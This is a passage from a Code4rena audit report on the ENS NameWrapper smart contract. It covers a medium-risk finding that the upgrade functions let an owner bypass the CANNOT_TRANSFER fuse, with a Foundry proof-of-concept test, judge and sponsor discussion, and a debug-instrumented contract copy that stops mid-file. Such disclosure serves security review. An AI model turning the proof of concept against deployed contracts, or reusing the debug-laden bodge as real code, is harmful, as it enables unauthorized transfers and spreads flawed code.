ENS - Versus contest - zzzitron's results

Decentralised naming for wallets, websites, & more.

General Information

Platform: Code4rena

Start Date: 22/11/2022

Pot Size: $36,500 USDC

Total HM: 5

Participants: 3

Period: 6 days

Judge: GalloDaSballo

Total Solo HM: 5

Id: 184

League: ETH

ENS

Findings Distribution

Researcher Performance

Rank: 1/3

Findings: 3

Award: $0.00

QA:
grade-a

🌟 Selected for report: 4

🚀 Solo Findings: 3

Findings Information

🌟 Selected for report: zzzitron

Labels

bug
2 (Med Risk)
selected for report
sponsor confirmed
M-01

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L408 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L436

Vulnerability details

Impact

Upon upgrade to a new NameWrapper contract, owner of the node will be set to the given wrappedOwner. Since the node will be _burned before calling the upgraded NameWrapper, the upgraded NameWrapper cannot check the old owner. Therefore, no matter the upgraded NameWrapper's implementation, it locks the information to check whether the old owner and newly given wrappedOwner are the same. If they are not the same, it means basically transferring the name to a new address.

In the case of resolver, the upgraded NameWrapper can check the old resolver by querying to the ENS registry, and prevent changing it if CANNOT_SET_RESOLVER fuse is burned.

Proof of Concept

Below is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.

The proof of concept below demonstrates upgrade process.

// https://gist.github.com/zzzitron/7670730176e35d7b2322bc1f4b9737f0#file-2022-11-ens-versus-poc-t-sol-L215-L243
    function testM2TransferWhileUpgrade() public {
        // using the mock for upgrade contract
        deployNameWrapperUpgrade();
        string memory node_str = 'vitalik.eth';
        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1_str = 'sub1';
        (, bytes32 node) = node_str.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0));
        // sanity check
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max);
        assertEq(expiry, 2038123728);

        // upgrade as nameWrapper's owner
        vm.prank(root_owner);
        nameWrapper.setUpgradeContract(nameWrapperUpgrade);
        assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade));

        // user1 calls upgradeETH2LD
        vm.prank(user1);
        nameWrapper.upgradeETH2LD('vitalik', address(123) /* new owner */, address(531) /* resolver */);
    }

Even if the CANNOT_TRANSFER fuse is in effect, the user1 can call upgradeETH2LD with a new owner.

Before the NameWrapper.upgradeETH2LD calls the new upgraded NameWrapper upgradeContract, it calls _prepareUpgrade, which burns the node in question. It means, the current NameWrapper.ownerOf(node) will be zero.

The upgraded NameWrapper has only the given wrappedOwner which is supplied by the user, which does not guarantee to be the old owner (as the proof of concept above shows). As the ens registry and ETH registrar also do not have any information about the old owner, the upgraded NameWrapper should probably set the owner of the node to the given wrappedOwner, even if CANNOT_TRANSFER fuse is in effect.

On contrary to the owner, although resolver is given by the user on the NameWrapper.upgradeETH2LD function, it is possible to prevent changing it if the CANNOT_SET_RESOLVER fuse is burned, by querying to ENSRegistry.

// NameWrapper

 408     function upgradeETH2LD(
 409         string calldata label,
 410         address wrappedOwner,
 411         address resolver
 412     ) public {
 413         bytes32 labelhash = keccak256(bytes(label));
 414         bytes32 node = _makeNode(ETH_NODE, labelhash);
 415         (uint32 fuses, uint64 expiry) = _prepareUpgrade(node);
 416
 417         upgradeContract.wrapETH2LD(
 418             label,
 419             wrappedOwner,
 420             fuses,
 421             expiry,
 422             resolver
 423         );
 424     }

 840     function _prepareUpgrade(bytes32 node)
 841         private
 842         returns (uint32 fuses, uint64 expiry)
 843     {
 844         if (address(upgradeContract) == address(0)) {
 845             revert CannotUpgrade();
 846         }
 847
 848         if (!canModifyName(node, msg.sender)) {
 849             revert Unauthorised(node, msg.sender);
 850         }
 851
 852         (, fuses, expiry) = getData(uint256(node));
 853
 854         _burn(uint256(node));
 855     }

The function NameWrapper.upgrade has the same problem.

// NameWrapper
 436     function upgrade(
 437         bytes32 parentNode,
 438         string calldata label,
 439         address wrappedOwner,
 440         address resolver
 441     ) public {
 442         bytes32 labelhash = keccak256(bytes(label));
 443         bytes32 node = _makeNode(parentNode, labelhash);
 444         (uint32 fuses, uint64 expiry) = _prepareUpgrade(node);
 445         upgradeContract.setSubnodeRecord(
 446             parentNode,
 447             label,
 448             wrappedOwner,
 449             resolver,
 450             0,
 451             fuses,
 452             expiry
 453         );
 454     }

Tools Used

foundry

If the CANNOT_TRANSFER fuse is set, enforce the wrappedOwner to be same as the NameWrapper.ownerOf(node).

<!-- zzzitron M02 -->

#0 - GalloDaSballo

2022-12-04T16:57:11Z

From further testing, it seems like upgrading will ignore the value provided, here the changed POC

function testM2TransferWhileUpgrade() public {
        // using the mock for upgrade contract
        deployNameWrapperUpgrade();
        string memory node_str = 'vitalik.eth';
        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1_str = 'sub1';
        (, bytes32 node) = node_str.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0));
        // sanity check
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max);
        assertEq(expiry, 2038123728);

        // upgrade as nameWrapper's owner
        vm.prank(root_owner);
        nameWrapper.setUpgradeContract(nameWrapperUpgrade);
        assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade));

        // user1 calls upgradeETH2LD
        vm.prank(user1);
        address newOwner = address(123);
        nameWrapper.upgradeETH2LD('vitalik',  newOwner , address(531) /* resolver */);
        address secondOwner = nameWrapper.ownerOf(uint256(node));
        assertEq(secondOwner, newOwner);
    }

Which reverts as the secondOwner is actually address(0)

#1 - GalloDaSballo

2022-12-04T17:06:17Z

Changing the last line to assertEq(secondOwner, address(0)); Makes the test pass

#2 - jefflau

2022-12-05T15:28:31Z

In the case of resolver, the upgraded NameWrapper can check the old resolver by querying to the ENS registry, and prevent changing it if CANNOT_SET_RESOLVER fuse is burned.

For this specific case, the public resolver checks for the owner on the NameWrapper. If the NameWrapper needed to be upgraded for any reason, the old resolver would be checking the old NameWrapper, and since the owner would be burnt, they would lock all records. So for this case I think it's reasonable to allow CANNOT_SET_RESOLVER to be bypassed in this specific case.

From further testing, it seems like upgrading will ignore the value provided, here the changed POC

I think this test is incorrect, you should be checking the new NameWrapper, not the old NameWrapper. I believe this would pass:

address secondOwner = nameWrapperUpgrade.ownerOf(uint256(node)); assertEq(secondOwner, newOwner);

All things consider - I think the CANNOT_TRANSFER restriction that the warden mentioned does make sense.

#3 - c4-sponsor

2022-12-05T16:04:29Z

jefflau marked the issue as sponsor confirmed

#4 - GalloDaSballo

2022-12-07T00:29:35Z

@jefflau Took me a while but I have to agree with you, querying ownerOf on the nameWrapperUpgrade will return the new owner.

I wrote a Bodge to make it work, but would like to flag that the function wrapETH2LD uses different parameters, and also the size of fuses is changed (uint32 vs uint16).

Am assuming the upgradedWrapper will have a check for the old wrapper being the caller

Below the code changes I made to verify the finding

NameWrapper.sol

//SPDX-License-Identifier: MIT
pragma solidity ~0.8.17;

import {ERC1155Fuse, IERC165} from "./ERC1155Fuse.sol";
import {Controllable} from "./Controllable.sol";
import {INameWrapper, CANNOT_UNWRAP, CANNOT_BURN_FUSES, CANNOT_TRANSFER, CANNOT_SET_RESOLVER, CANNOT_SET_TTL, CANNOT_CREATE_SUBDOMAIN, PARENT_CANNOT_CONTROL, CAN_DO_EVERYTHING, IS_DOT_ETH, PARENT_CONTROLLED_FUSES, USER_SETTABLE_FUSES} from "./INameWrapper.sol";
import {INameWrapperUpgrade} from "./INameWrapperUpgrade.sol";
import {IMetadataService} from "./IMetadataService.sol";
import {ENS} from "../registry/ENS.sol";
import {IBaseRegistrar} from "../ethregistrar/IBaseRegistrar.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {BytesUtils} from "./BytesUtils.sol";
import {ERC20Recoverable} from "../utils/ERC20Recoverable.sol";

error Unauthorised(bytes32 node, address addr);
error IncompatibleParent();
error IncorrectTokenType();
error LabelMismatch(bytes32 labelHash, bytes32 expectedLabelhash);
error LabelTooShort();
error LabelTooLong(string label);
error IncorrectTargetOwner(address owner);
error CannotUpgrade();
error OperationProhibited(bytes32 node);

contract NameWrapper is
    Ownable,
    ERC1155Fuse,
    INameWrapper,
    Controllable,
    IERC721Receiver,
    ERC20Recoverable
{
    using BytesUtils for bytes;

    ENS public immutable override ens;
    IBaseRegistrar public immutable override registrar;
    IMetadataService public override metadataService;
    mapping(bytes32 => bytes) public override names;
    string public constant name = "NameWrapper";

    uint64 private constant GRACE_PERIOD = 90 days;
    bytes32 private constant ETH_NODE =
        0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae;
    bytes32 private constant ETH_LABELHASH =
        0x4f5b812789fc606be1b3b16908db13fc7a9adf7ca72641f84d75b47069d3d7f0;
    bytes32 private constant ROOT_NODE =
        0x0000000000000000000000000000000000000000000000000000000000000000;

    INameWrapperUpgrade public upgradeContract;
    uint64 private constant MAX_EXPIRY = type(uint64).max;

    constructor(
        ENS _ens,
        IBaseRegistrar _registrar,
        IMetadataService _metadataService
    ) {
        ens = _ens;
        registrar = _registrar;
        metadataService = _metadataService;

        /* Burn PARENT_CANNOT_CONTROL and CANNOT_UNWRAP fuses for ROOT_NODE and ETH_NODE */

        _setData(
            uint256(ETH_NODE),
            address(0),
            uint32(PARENT_CANNOT_CONTROL | CANNOT_UNWRAP),
            MAX_EXPIRY
        );
        _setData(
            uint256(ROOT_NODE),
            address(0),
            uint32(PARENT_CANNOT_CONTROL | CANNOT_UNWRAP),
            MAX_EXPIRY
        );
        names[ROOT_NODE] = "\x00";
        names[ETH_NODE] = "\x03eth\x00";
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override(ERC1155Fuse, IERC165)
        returns (bool)
    {
        return
            interfaceId == type(INameWrapper).interfaceId ||
            interfaceId == type(IERC721Receiver).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /* ERC1155 Fuse */

    /**
     * @notice Gets the owner of a name
     * @param id Label as a string of the .eth domain to wrap
     * @return owner The owner of the name
     */

    function ownerOf(uint256 id)
        public
        view
        override(ERC1155Fuse, INameWrapper)
        returns (address owner)
    {
        return super.ownerOf(id);
    }

    /**
     * @notice Gets the data for a name
     * @param id Namehash of the name
     * @return owner Owner of the name
     * @return fuses Fuses of the name
     * @return expiry Expiry of the name
     */

    function getData(uint256 id)
        public
        view
        override(ERC1155Fuse, INameWrapper)
        returns (
            address owner,
            uint32 fuses,
            uint64 expiry
        )
    {
        (owner, fuses, expiry) = super.getData(id);

        bytes32 labelhash = _getEthLabelhash(bytes32(id), fuses);
        if (labelhash != bytes32(0)) {
            expiry = uint64(registrar.nameExpires(uint256(labelhash))) + GRACE_PERIOD;
        }

        if (expiry < block.timestamp) {
            if (fuses & PARENT_CANNOT_CONTROL == PARENT_CANNOT_CONTROL) {
                owner = address(0);
            }
            fuses = 0;
        }
    }

    /* Metadata service */

    /**
     * @notice Set the metadata service. Only the owner can do this
     * @param _metadataService The new metadata service
     */

    function setMetadataService(IMetadataService _metadataService)
        public
        onlyOwner
    {
        metadataService = _metadataService;
    }

    /**
     * @notice Get the metadata uri
     * @param tokenId The id of the token
     * @return string uri of the metadata service
     */

    function uri(uint256 tokenId) public view override returns (string memory) {
        return metadataService.uri(tokenId);
    }

    /**
     * @notice Set the address of the upgradeContract of the contract. only admin can do this
     * @dev The default value of upgradeContract is the 0 address. Use the 0 address at any time
     * to make the contract not upgradable.
     * @param _upgradeAddress address of an upgraded contract
     */

    function setUpgradeContract(INameWrapperUpgrade _upgradeAddress)
        public
        onlyOwner
    {
        if (address(upgradeContract) != address(0)) {
            registrar.setApprovalForAll(address(upgradeContract), false);
            ens.setApprovalForAll(address(upgradeContract), false);
        }

        upgradeContract = _upgradeAddress;

        if (address(upgradeContract) != address(0)) {
            registrar.setApprovalForAll(address(upgradeContract), true);
            ens.setApprovalForAll(address(upgradeContract), true);
        }
    }

    /**
     * @notice Checks if msg.sender is the owner or approved by the owner of a name
     * @param node namehash of the name to check
     */

    modifier onlyTokenOwner(bytes32 node) {
        if (!canModifyName(node, msg.sender)) {
            revert Unauthorised(node, msg.sender);
        }

        _;
    }

    /**
     * @notice Checks if owner or approved by owner
     * @param node namehash of the name to check
     * @param addr which address to check permissions for
     * @return whether or not is owner or approved
     */

    function canModifyName(bytes32 node, address addr)
        public
        view
        override
        returns (bool)
    {
        (address owner, uint32 fuses, uint64 expiry) = getData(uint256(node));
        return (owner == addr || isApprovedForAll(owner, addr)) && (fuses & IS_DOT_ETH == 0 || expiry - GRACE_PERIOD >= block.timestamp);
    }


     event Debug(string name);
    /**
     * @notice Wraps a .eth domain, creating a new token and sending the original ERC721 token to this contract
     * @dev Can be called by the owner of the name on the .eth registrar or an authorised caller on the registrar
     * @param label Label as a string of the .eth domain to wrap
     * @param wrappedOwner Owner of the name in this contract
     * @param ownerControlledFuses Initial owner-controlled fuses to set
     * @param resolver Resolver contract address
     */


    function wrapETH2LD(
        string calldata label,
        address wrappedOwner,
        uint16 ownerControlledFuses,
        address resolver
    ) public override {
        emit Debug("A1");
        uint256 tokenId = uint256(keccak256(bytes(label)));
        emit Debug("A2");
        address registrant = registrar.ownerOf(tokenId);
        emit Debug("A3");
        if (
            registrant != msg.sender &&
            !registrar.isApprovedForAll(registrant, msg.sender)
        ) {
            revert Unauthorised(
                _makeNode(ETH_NODE, bytes32(tokenId)),
                msg.sender
            );
        }

        emit Debug("1");

        // transfer the token from the user to this contract
        registrar.transferFrom(registrant, address(this), tokenId);

        // transfer the ens record back to the new owner (this contract)
        registrar.reclaim(tokenId, address(this));

        emit Debug("2");
        _wrapETH2LD(label, wrappedOwner, ownerControlledFuses, resolver);
    }


    function wrapETH2LD(
        string calldata label,
        address wrappedOwner,
        uint32 ownerControlledFuses,
        uint64 expiry,
        address resolver
    ) public {
        emit Debug("A1");
        uint256 tokenId = uint256(keccak256(bytes(label)));
        emit Debug("A2");
        address registrant = registrar.ownerOf(tokenId);
        emit Debug("A3");
        if (
            registrant != msg.sender &&
            !registrar.isApprovedForAll(registrant, msg.sender)
        ) {
            revert Unauthorised(
                _makeNode(ETH_NODE, bytes32(tokenId)),
                msg.sender
            );
        }

        emit Debug("1");

        // transfer the token from the user to this contract
        registrar.transferFrom(registrant, address(this), tokenId);

        // transfer the ens record back to the new owner (this contract)
        registrar.reclaim(tokenId, address(this));

        emit Debug("2");
        _wrapETH2LD(label, wrappedOwner, uint16(ownerControlledFuses), resolver);
    }

    /**
     * @dev Registers a new .eth second-level domain and wraps it.
     *      Only callable by authorised controllers.
     * @param label The label to register (Eg, 'foo' for 'foo.eth').
     * @param wrappedOwner The owner of the wrapped name.
     * @param duration The duration, in seconds, to register the name for.
     * @param resolver The resolver address to set on the ENS registry (optional).
     * @param ownerControlledFuses Initial owner-controlled fuses to set
     * @return registrarExpiry The expiry date of the new name on the .eth registrar, in seconds since the Unix epoch.
     */

    function registerAndWrapETH2LD(
        string calldata label,
        address wrappedOwner,
        uint256 duration,
        address resolver,
        uint16 ownerControlledFuses
    ) external override onlyController returns (uint256 registrarExpiry) {
        uint256 tokenId = uint256(keccak256(bytes(label)));
        registrarExpiry = registrar.register(tokenId, address(this), duration);
        _wrapETH2LD(label, wrappedOwner, ownerControlledFuses, resolver);
    }

    /**
     * @notice Renews a .eth second-level domain.
     * @dev Only callable by authorised controllers.
     * @param tokenId The hash of the label to register (eg, `keccak256('foo')`, for 'foo.eth').
     * @param duration The number of seconds to renew the name for.
     * @return expires The expiry date of the name on the .eth registrar, in seconds since the Unix epoch.
     */

    function renew(
        uint256 tokenId,
        uint256 duration
    ) external override onlyController returns (uint256 expires) {
        return registrar.renew(tokenId, duration);
    }

    /**
     * @notice Wraps a non .eth domain, of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain
     * @dev Can be called by the owner in the registry or an authorised caller in the registry
     * @param name The name to wrap, in DNS format
     * @param wrappedOwner Owner of the name in this contract
     * @param resolver Resolver contract
     */

    function wrap(
        bytes calldata name,
        address wrappedOwner,
        address resolver
    ) public override {
        (bytes32 labelhash, uint256 offset) = name.readLabel(0);
        bytes32 parentNode = name.namehash(offset);
        bytes32 node = _makeNode(parentNode, labelhash);

        names[node] = name;

        if (parentNode == ETH_NODE) {
            revert IncompatibleParent();
        }

        address owner = ens.owner(node);

        if (owner != msg.sender && !ens.isApprovedForAll(owner, msg.sender)) {
            revert Unauthorised(node, msg.sender);
        }

        if (resolver != address(0)) {
            ens.setResolver(node, resolver);
        }

        ens.setOwner(node, address(this));

        _wrap(node, name, wrappedOwner, 0, 0);
    }

    /**
     * @notice Unwraps a .eth domain. e.g. vitalik.eth
     * @dev Can be called by the owner in the wrapper or an authorised caller in the wrapper
     * @param labelhash Labelhash of the .eth domain
     * @param registrant Sets the owner in the .eth registrar to this address
     * @param controller Sets the owner in the registry to this address
     */

    function unwrapETH2LD(
        bytes32 labelhash,
        address registrant,
        address controller
    ) public override onlyTokenOwner(_makeNode(ETH_NODE, labelhash)) {
        if (registrant == address(this)) {
            revert IncorrectTargetOwner(registrant);
        }
        _unwrap(_makeNode(ETH_NODE, labelhash), controller);
        registrar.safeTransferFrom(
            address(this),
            registrant,
            uint256(labelhash)
        );
    }

    /**
     * @notice Unwraps a non .eth domain, of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain
     * @dev Can be called by the owner in the wrapper or an authorised caller in the wrapper
     * @param parentNode Parent namehash of the name e.g. vitalik.xyz would be namehash('xyz')
     * @param labelhash Labelhash of the name, e.g. vitalik.xyz would be keccak256('vitalik')
     * @param controller Sets the owner in the registry to this address
     */

    function unwrap(
        bytes32 parentNode,
        bytes32 labelhash,
        address controller
    ) public override onlyTokenOwner(_makeNode(parentNode, labelhash)) {
        if (parentNode == ETH_NODE) {
            revert IncompatibleParent();
        }
        if (controller == address(0x0) || controller == address(this)) {
            revert IncorrectTargetOwner(controller);
        }
        _unwrap(_makeNode(parentNode, labelhash), controller);
    }

    /**
     * @notice Sets fuses of a name
     * @param node Namehash of the name
     * @param ownerControlledFuses Owner-controlled fuses to burn
     * @return New fuses
     */

    function setFuses(bytes32 node, uint16 ownerControlledFuses)
        public
        onlyTokenOwner(node)
        operationAllowed(node, CANNOT_BURN_FUSES)
        returns (uint32)
    {
        // owner protected by onlyTokenOwner
        (address owner, uint32 oldFuses, uint64 expiry) = getData(
            uint256(node)
        );
        _setFuses(node, owner, ownerControlledFuses | oldFuses, expiry);
        return ownerControlledFuses;
    }


    event DebugAdd(address);
    /**
     * @notice Upgrades a .eth wrapped domain by calling the wrapETH2LD function of the upgradeContract
     *     and burning the token of this contract
     * @dev Can be called by the owner of the name in this contract
     * @param label Label as a string of the .eth name to upgrade
     * @param wrappedOwner The owner of the wrapped name
     */

    

    function upgradeETH2LD(
        string calldata label,
        address wrappedOwner,
        address resolver
    ) public {
        emit Debug("01");
        bytes32 labelhash = keccak256(bytes(label));
        emit Debug("02");
        bytes32 node = _makeNode(ETH_NODE, labelhash);
        emit Debug("03");
        (uint32 fuses, uint64 expiry) = _prepareUpgrade(node);
        emit Debug("04");

        emit DebugAdd(address(upgradeContract));

        upgradeContract.wrapETH2LD(
            label,
            wrappedOwner,
            fuses,
            expiry,
            resolver
        );
    }

    /**
     * @notice Upgrades a non .eth domain of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain
     * @dev Can be called by the owner or an authorised caller
     * Requires upgraded Namewrapper to permit old Namewrapper to call `setSubnodeRecord` for all names
     * @param parentNode Namehash of the parent name
     * @param label Label as a string of the name to upgrade
     * @param wrappedOwner Owner of the name in this contract
     * @param resolver Resolver contract for this name
     */

    function upgrade(
        bytes32 parentNode,
        string calldata label,
        address wrappedOwner,
        address resolver
    ) public {
        bytes32 labelhash = keccak256(bytes(label));
        bytes32 node = _makeNode(parentNode, labelhash);
        (uint32 fuses, uint64 expiry) = _prepareUpgrade(node);
        upgradeContract.setSubnodeRecord(
            parentNode,
            label,
            wrappedOwner,
            resolver,
            0,
            fuses,
            expiry
        );
    }

    /** 
    /* @notice Sets fuses of a name that you own the parent of. Can also be called by the owner of a .eth name
     * @param parentNode Parent namehash of the name e.g. vitalik.xyz would be namehash('xyz')
     * @param labelhash Labelhash of the name, e.g. vitalik.xyz would be keccak256('vitalik')
     * @param fuses Fuses to burn
     * @param expiry When the name will expire in seconds since the Unix epoch
     */

    function setChildFuses(
        bytes32 parentNode,
        bytes32 labelhash,
        uint32 fuses,
        uint64 expiry
    ) public {
        bytes32 node = _makeNode(parentNode, labelhash);
        _checkFusesAreSettable(node, fuses);
        (address owner, uint32 oldFuses, uint64 oldExpiry) = getData(uint256(node));
        // max expiry is set to the expiry of the parent
        (, uint32 parentFuses, uint64 maxExpiry) = getData(
            uint256(parentNode)
        );
        if (parentNode == ROOT_NODE) {
            if (!canModifyName(node, msg.sender)) {
                revert Unauthorised(node, msg.sender);
            }
        } else {
            if (!canModifyName(parentNode, msg.sender)) {
                revert Unauthorised(node, msg.sender);
            }
        }

        _checkParentFuses(node, fuses, parentFuses);

        expiry = _normaliseExpiry(expiry, oldExpiry, maxExpiry);

        // if PARENT_CANNOT_CONTROL has been burned and fuses have changed
        if (
            oldFuses & PARENT_CANNOT_CONTROL != 0 &&
            oldFuses | fuses != oldFuses
        ) {
            revert OperationProhibited(node);
        }
        fuses |= oldFuses;
        _setFuses(node, owner, fuses, expiry);
    }

    /**
     * @notice Sets the subdomain owner in the registry and then wraps the subdomain
     * @param parentNode Parent namehash of the subdomain
     * @param label Label of the subdomain as a string
     * @param owner New owner in the wrapper
     * @param fuses Initial fuses for the wrapped subdomain
     * @param expiry When the name will expire in seconds since the Unix epoch
     * @return node Namehash of the subdomain
     */

    function setSubnodeOwner(
        bytes32 parentNode,
        string calldata label,
        address owner,
        uint32 fuses,
        uint64 expiry
    )
        public
        onlyTokenOwner(parentNode)
        canCallSetSubnodeOwner(parentNode, keccak256(bytes(label)))
        returns (bytes32 node)
    {
        bytes32 labelhash = keccak256(bytes(label));
        node = _makeNode(parentNode, labelhash);
        _checkFusesAreSettable(node, fuses);
        bytes memory name = _saveLabel(parentNode, node, label);
        expiry = _checkParentFusesAndExpiry(parentNode, node, fuses, expiry);

        if (ownerOf(uint256(node)) == address(0)) {
            ens.setSubnodeOwner(parentNode, labelhash, address(this));
            _wrap(node, name, owner, fuses, expiry);
        } else {
            _updateName(parentNode, node, label, owner, fuses, expiry);
        }
    }

    /**
     * @notice Sets the subdomain owner in the registry with records and then wraps the subdomain
     * @param parentNode parent namehash of the subdomain
     * @param label label of the subdomain as a string
     * @param owner new owner in the wrapper
     * @param resolver resolver contract in the registry
     * @param ttl ttl in the regsitry
     * @param fuses initial fuses for the wrapped subdomain
     * @param expiry When the name will expire in seconds since the Unix epoch
     * @return node Namehash of the subdomain
     */

    function setSubnodeRecord(
        bytes32 parentNode,
        string memory label,
        address owner,
        address resolver,
        uint64 ttl,
        uint32 fuses,
        uint64 expiry
    )
        public
        onlyTokenOwner(parentNode)
        canCallSetSubnodeOwner(parentNode, keccak256(bytes(label)))
        returns (bytes32 node)
    {
        bytes32 labelhash = keccak256(bytes(label));
        node = _makeNode(parentNode, labelhash);
        _checkFusesAreSettable(node, fuses);
        _saveLabel(parentNode, node, label);
        expiry = _checkParentFusesAndExpiry(parentNode, node, fuses, expiry);
        if (ownerOf(uint256(node)) == address(0)) {
            ens.setSubnodeRecord(
                parentNode,
                labelhash,
                address(this),
                resolver,
                ttl
            );
            _storeNameAndWrap(parentNode, node, label, owner, fuses, expiry);
        } else {
            ens.setSubnodeRecord(
                parentNode,
                labelhash,
                address(this),
                resolver,
                ttl
            );
            _updateName(parentNode, node, label, owner, fuses, expiry);
        }
    }

    /**
     * @notice Sets records for the name in the ENS Registry
     * @param node Namehash of the name to set a record for
     * @param owner New owner in the registry
     * @param resolver Resolver contract
     * @param ttl Time to live in the registry
     */

    function setRecord(
        bytes32 node,
        address owner,
        address resolver,
        uint64 ttl
    )
        public
        override
        onlyTokenOwner(node)
        operationAllowed(
            node,
            CANNOT_TRANSFER | CANNOT_SET_RESOLVER | CANNOT_SET_TTL
        )
    {
        ens.setRecord(node, address(this), resolver, ttl);
        if (owner == address(0)) {
            (, uint32 fuses, ) = getData(uint256(node));
            if (fuses & IS_DOT_ETH == IS_DOT_ETH) {
                revert IncorrectTargetOwner(owner);
            }
            _unwrap(node, address(0));
        } else {
            address oldOwner = ownerOf(uint256(node));
            _transfer(oldOwner, owner, uint256(node), 1, "");
        }
    }

    /**
     * @notice Sets resolver contract in the registry
     * @param node namehash of the name
     * @param resolver the resolver contract
     */

    function setResolver(bytes32 node, address resolver)
        public
        override
        onlyTokenOwner(node)
        operationAllowed(node, CANNOT_SET_RESOLVER)
    {
        ens.setResolver(node, resolver);
    }

    /**
     * @notice Sets TTL in the registry
     * @param node Namehash of the name
     * @param ttl TTL in the registry
     */

    function setTTL(bytes32 node, uint64 ttl)
        public
        override
        onlyTokenOwner(node)
        operationAllowed(node, CANNOT_SET_TTL)
    {
        ens.setTTL(node, ttl);
    }

    /**
     * @dev Allows an operation only if none of the specified fuses are burned.
     * @param node The namehash of the name to check fuses on.
     * @param fuseMask A bitmask of fuses that must not be burned.
     */

    modifier operationAllowed(bytes32 node, uint32 fuseMask) {
        (, uint32 fuses, ) = getData(uint256(node));
        if (fuses & fuseMask != 0) {
            revert OperationProhibited(node);
        }
        _;
    }

    /**
     * @notice Check whether a name can call setSubnodeOwner/setSubnodeRecord
     * @dev Checks both CANNOT_CREATE_SUBDOMAIN and PARENT_CANNOT_CONTROL and whether not they have been burnt
     *      and checks whether the owner of the subdomain is 0x0 for creating or already exists for
     *      replacing a subdomain. If either conditions are true, then it is possible to call
     *      setSubnodeOwner
     * @param node Namehash of the name to check
     * @param labelhash Labelhash of the name to check
     */

    modifier canCallSetSubnodeOwner(bytes32 node, bytes32 labelhash) {
        bytes32 subnode = _makeNode(node, labelhash);
        address owner = ens.owner(subnode);

        if (owner == address(0)) {
            (, uint32 fuses, ) = getData(uint256(node));
            if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) {
                revert OperationProhibited(subnode);
            }
        } else {
            (, uint32 subnodeFuses, ) = getData(uint256(subnode));
            if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) {
                revert OperationProhibited(subnode);
            }
        }

        _;
    }

    /**
     * @notice Checks all Fuses in the mask are burned for the node
     * @param node Namehash of the name
     * @param fuseMask The fuses you want to check
     * @return Boolean of whether or not all the selected fuses are burned
     */

    function allFusesBurned(bytes32 node, uint32 fuseMask)
        public
        view
        override
        returns (bool)
    {
        (, uint32 fuses, ) = getData(uint256(node));
        return fuses & fuseMask == fuseMask;
    }

    function onERC721Received(
        address to,
        address,
        uint256 tokenId,
        bytes calldata data
    ) public override returns (bytes4) {
        //check if it's the eth registrar ERC721
        if (msg.sender != address(registrar)) {
            revert IncorrectTokenType();
        }

        (
            string memory label,
            address owner,
            uint16 ownerControlledFuses,
            address resolver
        ) = abi.decode(data, (string, address, uint16, address));

        bytes32 labelhash = bytes32(tokenId);
        bytes32 labelhashFromData = keccak256(bytes(label));

        if (labelhashFromData != labelhash) {
            revert LabelMismatch(labelhashFromData, labelhash);
        }

        // transfer the ens record back to the new owner (this contract)
        registrar.reclaim(uint256(labelhash), address(this));

        _wrapETH2LD(label, owner, ownerControlledFuses, resolver);

        return IERC721Receiver(to).onERC721Received.selector;
    }

    /***** Internal functions */

    function _preTransferCheck(uint256 id, uint32 fuses, uint64 expiry) internal view override returns (bool) {
        // For this check, treat .eth 2LDs as expiring at the start of the grace period.
        if(fuses & IS_DOT_ETH == IS_DOT_ETH) {
            expiry -= GRACE_PERIOD;
        }

        if(expiry < block.timestamp) {
            // Transferable if the name was not emancipated
            if(fuses & PARENT_CANNOT_CONTROL != 0) {
                revert("ERC1155: insufficient balance for transfer");
            }
        } else {
            // Transferable if CANNOT_TRANSFER is unburned
            if(fuses & CANNOT_TRANSFER != 0) {
                revert OperationProhibited(bytes32(id));
            }
        }
    }

    function _makeNode(bytes32 node, bytes32 labelhash)
        private
        pure
        returns (bytes32)
    {
        return keccak256(abi.encodePacked(node, labelhash));
    }

    function _addLabel(string memory label, bytes memory name)
        internal
        pure
        returns (bytes memory ret)
    {
        if (bytes(label).length < 1) {
            revert LabelTooShort();
        }
        if (bytes(label).length > 255) {
            revert LabelTooLong(label);
        }
        return abi.encodePacked(uint8(bytes(label).length), label, name);
    }

    function _mint(
        bytes32 node,
        address owner,
        uint32 fuses,
        uint64 expiry
    ) internal override {
        _canFusesBeBurned(node, fuses);
        address oldOwner = ownerOf(uint256(node));
        if (oldOwner != address(0)) {
            // burn and unwrap old token of old owner
            _burn(uint256(node));
            emit NameUnwrapped(node, address(0));
        }
        super._mint(node, owner, fuses, expiry);
    }

    function _wrap(
        bytes32 node,
